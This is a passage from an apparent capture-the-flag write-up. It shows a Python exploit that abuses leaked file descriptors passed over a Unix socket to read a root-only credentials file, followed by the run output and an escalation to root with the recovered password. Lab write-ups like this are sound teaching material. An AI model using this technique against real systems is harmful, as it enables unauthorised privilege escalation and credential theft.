msg, ancdata, flags, addr = s.recvmsg(4096, socket.CMSG_LEN(2 * fd_size))
for cmsg_level, cmsg_type, cmsg_data in ancdata:
if cmsg_level == socket.SOL_SOCKET and cmsg_type == socket.SCM_RIGHTS:
fds.frombytes(cmsg_data[:2 * fd_size])
print("[*] server msg:", msg)
print("[*] leaked fds:", list(fds)) # [log_fd, admin_fd] theo thứ tự trong array.array gốc
log_fd, admin_fd = fds
# 3. Đọc trực tiếp nội dung file root-only qua fd bị leak
data = os.pread(admin_fd, 4096, 0)
print("[+] /etc/paperwork/admin_pins.conf ->\n", data.decode())
os.close(log_fd)
os.close(admin_fd)
s.close()' > exploit.py
archivist@paperwork:~$ python3 exploit.py
[*] server msg: b'ALERT: SECURITY_VIOLATION. FORENSIC_CONTEXT_ATTACHED.'
[*] leaked fds: [4, 5]
[+] /etc/paperwork/admin_pins.conf ->
ADMIN_PASSWORD=xxxxxxxxxxxxxxxxxxxxx
archivist@paperwork:~$
Switch user to root and get the flag
1
2
3
4
5
6
7
8
9
10
archivist@paperwork:~$ su root
Password:
su: Authentication failure
archivist@paperwork:~$
archivist@paperwork:~$ su root
Password:
root@paperwork:/home/archivist# cat /root/root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
root@paperwork:/home/archivist#















